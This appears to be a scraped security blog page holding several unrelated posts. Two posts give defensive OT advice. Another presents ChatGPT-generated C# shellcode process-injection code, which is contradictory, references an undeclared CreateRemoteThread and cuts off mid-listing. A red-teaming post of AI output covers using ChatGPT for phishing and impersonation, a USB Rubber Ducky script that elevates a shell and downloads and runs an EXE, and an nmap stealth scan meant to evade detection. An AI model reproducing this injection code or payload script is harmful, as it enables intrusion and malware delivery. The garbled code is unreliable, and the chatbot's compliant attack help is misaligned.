Nation-state pre-positioning in OT: the real risk is strategic access you won’t notice until it’s needed

Standard

If you’re only hunting for malware in OT, you’re late.

Assume the move is quiet access.

Nation-state pre-positioning rarely looks like a dramatic intrusion. It often blends into normal admin work: a new remote account, a service tool update, an engineer “helping” with a config change, a vendor connection that never fully goes away.

Then it sits dormant for months.

That dormancy is the point. It gives adversaries optionality when geopolitics shifts: the ability to disrupt, degrade, or coerce on demand, without having to break in under pressure.

Treat this as an access-governance and detection design problem, not a compliance checklist.

Practical tripwires to make stealthy persistence noisy:
– Engineering workstation use: baseline who uses them, when, and for what; alert on rare tools, rare hours, and rare targets
– Remote maintenance: enforce identity, strong session controls, and record/review remote sessions; alert on “always-on” connectivity patterns
– Privilege changes: monitor group membership, new local admins, new service accounts, and credential use across zones
– Identity-to-asset mapping: know which identities can reach which PLCs/HMIs/historians, and make exceptions visible

If an attacker’s best strategy is to remain invisible, your best defense is to make access changes observable.

#OT #ICS #CriticalInfrastructure #CyberSecurity #ThreatHunting #ZeroTrust #IdentitySecurity #IndustrialSecurity

OT-targeted ransomware isn’t “an OT problem” — it’s an IT-to-OT identity and segmentation failure

Standard

Stop asking “Is our OT patched?”

Start mapping: “What exact IT credential, tool, or vendor session can touch OT today?”

Most OT ransomware incidents don’t begin on a PLC or HMI.
They start in corporate IT and cross the boundary through:
– Shared identities and groups
– Remote access paths (VPN, jump hosts, RMM tools)
– Flat or loosely segmented networks
– Vendor access that bypasses normal controls

So prevention becomes actionable when you treat it as a pathway problem:
1) Inventory every IT-to-OT access path (people, service accounts, tools, vendors)
2) Kill what you don’t need
3) Constrain what remains: least privilege, MFA, time-bound access
4) Hard-segment OT from IT, and segment inside OT (cell/area zones)
5) Monitor and alert on identity-driven access to OT assets

If a stolen IT credential can reach OT, patching OT will never be enough.
Reduce pathways. Reduce blast radius.

#ransomware #otsecurity #icssecurity #cybersecurity #zerotrust #networksegmentation #identitysecurity

ChatGPT Suggested C# Inject Shell code

Standard

Here’s an optimized version of the C# code that injects shell code into a process without using NtAllocateVirtualMemory, NtCreateThreadEx, or CreateRemoteThread using ChatGPT

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class Injector
{
    // OpenProcess function
    [DllImport("kernel32.dll")]
    private static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    // VirtualAllocEx function
    [DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    // WriteProcessMemory function
    [DllImport("kernel32.dll")]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

    // GetProcAddress function
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    // GetModuleHandle function
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    // Process handle
    private IntPtr handle;

    // Process ID
    private int pid;

    // Shellcode
    private byte[] shellcode;

    public Injector(int processId, byte[] code)
    {
        pid = processId;
        shellcode = code;
    }

    public bool Inject()
    {
        // Open the process with all access
        handle = OpenProcess(0x1F0FFF, false, pid);
        if (handle == IntPtr.Zero) return false;

        // Allocate memory in the process
        IntPtr allocatedMem = VirtualAllocEx(handle, IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
        if (allocatedMem == IntPtr.Zero) return false;

        // Write the shellcode to the allocated memory
        UIntPtr bytesWritten;
        bool success = WriteProcessMemory(handle, allocatedMem, shellcode, (uint)shellcode.Length, out bytesWritten);
        if (!success) return false;

        // Get the address of the LoadLibrary function
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        if (loadLibraryAddr == IntPtr.Zero) return false;

        // Execute the shellcode by calling LoadLibraryA with the address of the shellcode as the argument
        IntPtr threadId = IntPtr.Zero;
        IntPtr hThread = CreateRemoteThread(handle, IntPtr.Zero, 0, loadLibraryAddr, allocatedMem, 0, threadId);
        if (hThread == IntPtr.Zero) return false;

        return true;
    }
}


Here is an example of optimized C# code that injects shell code into a process without using NtAllocateVirtualMemory, NtCreateThreadEx, and CreateRemoteThread:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class Injector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool CloseHandle(IntPtr hObject);

    public static void Inject(int pid, byte[] shellcode)
    {
        IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, pid);
        IntPtr lpAddress = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
        WriteProcessMemory(hProcess, lpAddress, shellcode, shellcode.Length, out int bytesWritten);
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, lpAddress, IntPtr.Zero, 0, out threadId);
        CloseHandle(hThread);
        CloseHandle(hProcess);
    }

    static void Main(string[] args)
    {
        byte[] shellcode = new byte[20]; // replace this with your actual shellcode
        int pid = Process.GetCurrentProcess().Id; // replace this with the desired PID
        Inject(pid, shellcode);
    }
}

[Flags]
public enum ProcessAccessFlags : uint
{
    All = 0x001F0FFF,
    Terminate = 0x00000001,
    CreateThread = 0x00000002,
    VirtualMemoryOperation = 0x00000008,
    VirtualMemoryRead = 0x00000010,
    VirtualMemoryWrite = 0x00000020,
    DuplicateHandle = 0x00000040,
    CreateProcess = 0x000000080,
    SetQuota = 0x00000100,
    SetInformation = 0x00000200,
    QueryInformation = 0x00000400,
    QueryLimitedInformation = 0x00001000,
    Synchronize = 0x00100000
}

[Flags]
public enum AllocationType
{
    Commit = 0x1000,
   

Simple keystroke to prevent sleep

Standard
A simple script to double-tap on the numb lock to prevent the machine to sleep
This is a very simple script which can prevent the machine to sleep. 

Python 

import pyautogui
import time

while True:
    pyautogui.press('numlock')
    pyautogui.press('numlock')
    time.sleep(60)
Number lock key double tap
Windows Powershell

while ($true) {
    [System.Windows.Forms.SendKeys]::SendWait("{NUMLOCK}")
    [System.Windows.Forms.SendKeys]::SendWait("{NUMLOCK}")
    Start-Sleep -Seconds 60
}



Here is the same script written in PowerShell without using the System.Windows.Forms.SendKeys class:

while ($true) {
    Add-Type -AssemblyName System.Windows.Forms
    [System.Windows.Forms.SendKeys]::Send("{NUMLOCK}")
    [System.Windows.Forms.SendKeys]::Send("{NUMLOCK}")
    Start-Sleep -Seconds 60
}


Here is the same script written in PowerShell using the SendWait() method from the System.Windows.Forms.SendKeys class:

Add-Type -AssemblyName System.Windows.Forms
while ($true) {
[System.Windows.Forms.SendKeys]::SendWait("{NUMLOCK}")
[System.Windows.Forms.SendKeys]::SendWait("{NUMLOCK}")
Start-Sleep -Seconds 60
}

ChatGPT in Red Teaming

Standard

Disclaimer: All Text below is generated by chatGPT

How can chatGPT help in red teaming?

ChatGPT is a variant of the GPT (Generative Pre-training Transformer) language model that is specifically designed to generate chatbot responses based on a given prompt. It can be used in red teaming to generate convincing responses during social engineering attacks or to impersonate real people in online communication.

For example, an attacker could use ChatGPT to generate responses in a chat conversation with a target, pretending to be a trusted individual or a customer service representative. They could also use it to generate phishing emails or other written communication that is designed to trick the target into divulging sensitive information or performing a specific action.

It is important to note that ChatGPT, like any other language model, is not capable of independently carrying out attacks or making decisions. It is simply a tool that can be used to generate text based on a given prompt. It is up to the attacker to use this tool in a way that is effective and aligned with their goals.

Write a duckyscript to open powershell with admin privileges and download execute exe file ?

Here is a DuckyScript that will open a command prompt with administrative privileges and then download and execute an EXE file:

DELAY 1000
GUI r
DELAY 200
STRING powershell
DELAY 200
CONTROL SHIFT ENTER
DELAY 200
STRING Start-Process cmd -Verb runAs
DELAY 200
ENTER
DELAY 200
STRING powershell -Command "& {Invoke-WebRequest -OutFile c:\temp\example.exe https://example.com/example.exe}"
DELAY 200
ENTER
DELAY 200
STRING c:\temp\example.exe
DELAY 200
ENTER

This script will first delay for 1 second (1000 milliseconds). It will then press the “Windows” key and the “r” key to open the “Run” dialog. It will then type “powershell” and press “Enter” to open a PowerShell window.

Next, it will press “Control,” “Shift,” and “Enter” simultaneously to open a command prompt with administrative privileges. It will then type the command “Start-Process cmd -Verb runAs” and press “Enter” to open a command prompt with administrative privileges.

Once the command prompt is open, the script will use the “powershell” command to download the EXE file from the specified URL and save it to the “c:\temp” directory. Finally, it will execute the EXE file by typing its path and pressing “Enter.”

Note that this script assumes that the USB Rubber Ducky is being used on a Windows system. If you are using a different operating system, you may need to modify the script accordingly.

Nmap scan to scan 192.168.1.1/24 all ports in stealth mode ?

To scan all ports on all hosts in the 192.168.1.1/24 subnet in stealth mode using nmap, you can use the following command:

Copy codenmap -sS 192.168.1.1/24

The “-sS” option tells nmap to perform a SYN scan, which is a type of stealth scan that does not send a full TCP connection request to the target host. This can help to evade detection by firewalls and other security measures that are designed to detect and block port scans.

By default, nmap will scan the most common 1,000 ports for each host. If you want to scan all 65535 possible ports, you can use the “-p-” option:

Copy codenmap -sS -p- 192.168.1.1/24

This will take longer to complete, as nmap will have to perform significantly more network traffic.

It is important to note that port scanning is often considered a potentially malicious activity, and you should only perform port scans on systems that you have permission to scan. Additionally, you should be aware of any laws or regulations in your jurisdiction that may prohibit or regulate port scanning.